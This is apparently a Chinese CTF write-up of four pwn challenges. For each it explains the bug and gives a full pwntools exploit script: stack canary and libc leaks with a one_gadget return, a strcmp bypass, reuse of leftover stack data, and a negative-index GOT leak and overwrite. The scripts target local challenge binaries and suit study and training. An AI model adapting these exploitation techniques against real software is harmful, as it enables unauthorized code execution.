一共有4道pwn题,题目不算难,但是挺考验调试能力的。
pie
一个main函数就四次溢出...
第一次leak canary,第二次leak libc,第三次直接覆盖返回地址为one_gadgets,第四次摸鱼。感觉应该不是预期解,毕竟题目叫pie,程序本身有system("/bin/sh")也没有用到。
1 from pwn import * 2 3 p = process(['./pie'],env={"LD_PRELOAD":"./libc.so.6"}) 4 #p = process('./pie') 5 elf = ELF('./pie') 6 libc = ELF('./libc.so.6') 7 context.log_level = 'debug' 8 9 og = [0x4f3d5,0x4f432,0x10a41c] 10 11 p.sendafter('name? ','a'*0x18+'b') 12 p.recvuntil('b') 13 canary = u64(p.recv(7).rjust(8,'x00')) 14 print 'canary-->'+hex(canary) 15 16 p.sendafter('from? ','a'*0x20+'bbbbbbbb') 17 p.recvuntil('bbbbbbbb') 18 libc_base = u64(p.recv(6).ljust(8,'x00'))-231-libc.symbols['__libc_start_main'] 19 print 'libc_base'+hex(libc_base) 20 shell = libc_base+og[0] 21 22 p.sendafter('know? ',p64(libc_base)+'a'*0x10+p64(canary)+'bbbbbbbb'+p64(shell)) 23 p.sendafter('no) ','nox00') 24 p.recv() 25 p.interactive()
QAQ
此题不适合看伪代码,得直接看汇编。
只有一个输入。还是需要读一下汇编。
执行完call,返回值一般是保存在eax中,这里执行了test eax,eax,其实就是在改变标志寄存器,我们这里需要让strcmp的返回值是0,这样就能跳转到loc_8048547这里。
看栈空间就可以知道,buf和s2,就是相比较的这两个字符串相差10个字节。
我们写payload='a'*9+'x00'+'a'*9+'x00',并且在跳转那里下断点。
第一次跳转之后,还有一层需要绕过。
判断ebp+var_44的值和1Bh是否相等,如果相等才能执行system("/bin/sh")。看栈空间分布,发现这个我们没办法赋值。
在buf上面,没办法写入。这个时候我又看上面的汇编。
发现有一处就是给这个位置赋值的,是将ebp+0xarg_0赋值给这个位置。而ebp+0xarg_0是在返回地址下面。距离也很好算,用静态分析,动态分析都能看出怎么多远。这题就算是做完了。
1 from pwn import * 2 3 p = process('./pwn') 4 context.log_level = 'debug' 5 6 #gdb.attach(p,'b *0x08048534') 7 8 sleep(0.1) 9 p.send('aaaaaaaaax00'+'aaaaaaaaax00aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaax1b') 10 p.interactive()
easyStack
64位程序,没开pie。
主要就是要让shell大于3920,进入backdoor,里面有shell。
在question中,有一个scanf函数是往v1里面写值。而v1是栈上的,而且不受我们控制。我当时想了半天也不知道怎么做。在name函数中也没有发现漏洞点。
后来想到以前做过一道栈数据残留的题,然后就cyclic 100,写入数据,在question中scanf那里下断点。看看这个时候的v1是多少。
果然name函数的值没有被清空,残留到了这个栈里面。此时v1是让paaa填充的。所以我们将cyclic生成的paaa处写入p32(shell),然后写入一个大于3920的数字,顺利执行就能拿到shell了。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 context.log_level = 'debug' 6 7 def duan(): 8 gdb.attach(p) 9 pause() 10 shell = 0x060108C 11 payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'+p32(shell) 12 13 p.sendafter('name? ',payload) 14 p.sendafter('else? ','pwner') 15 p.sendlineafter('1/0] ','4000') 16 p.recv() 17 p.interactive()
PTT0的记账本
题目其实已经给提示了。。。
看着像一道heap,其实并不是。。。感觉我应该是写的比较麻烦了。漏洞点就是在写index的时候,写成负数,虽然是在bss段,但是上面就是got段,将指针申请上去,可以泄露libc基地址,然后改写got表。直接放exp了。
1 from pwn import * 2 3 p = process(['./book'],env={"LD_PRELOAD":"./libc.so.6"}) 4 #p = process('./book') 5 elf = ELF('./book') 6 libc = ELF('./libc.so.6') 7 context.log_level = 'debug' 8 9 og = [0x4f3d5,0x4f432,0x10a41c] 10 11 def duan(): 12 gdb.attach(p) 13 pause() 14 15 def add(index,time,deaeline,money,interest,name): 16 p.sendlineafter('>> ','1') 17 p.sendlineafter('index:',str(index)) 18 p.sendlineafter('time: ',str(time)) 19 p.sendlineafter('deadline: ',str(deaeline)) 20 p.sendlineafter('money: ',str(money)) 21 p.sendlineafter('interest: ',str(interest)) 22 p.sendafter('name: ',name) 23 24 def delete(index): 25 p.sendlineafter('>> ','2') 26 p.sendlineafter('index:',str(index)) 27 28 def show(index): 29 p.sendlineafter('>> ','3') 30 p.sendlineafter('index:',str(index)) 31 32 33 show(-6) 34 p.recvuntil('time: ') 35 time = int(p.recvuntil(' ')[:-1]) 36 print 'time-->'+hex(time) 37 38 p.recvuntil('deadline: ') 39 deadline = int(p.recvuntil(' ')[:-1]) 40 print 'deadline-->'+hex(deadline) 41 42 #leak libc 43 p.recvuntil('money: ') 44 money = p.recvuntil(' ')[:-1] 45 p.recvuntil('interest: ') 46 interest = p.recvuntil(' ')[:-1] 47 printf_got = str(hex(int(interest)))+str(hex(int(money))) 48 printf_got = int(printf_got[:6]+printf_got[8:],16) 49 print 'print_got-->'+hex(printf_got) 50 libc_base = printf_got-libc.symbols['printf'] 51 print 'libc_base-->'+hex(libc_base) 52 53 for i in range(len(og)): 54 print str(i)+'-->'+hex(libc_base+og[i]) 55 shell = str(hex(libc_base+og[2])) 56 payload = int('0x'+shell[-8:],16) 57 print payload 58 59 p.sendlineafter('>> ','1') 60 p.sendlineafter('index:',str(-6)) 61 p.sendlineafter('time: ',str(0xaa)) 62 p.sendlineafter('deadline: ',str(0xbb)) 63 p.sendlineafter('money: ',str(payload)) 64 p.interactive()
因为做的人不多,题目难度不大,赶着做还是拿了两道题的一血,两道题的二血,也有一些收获,总之还是很开兴的。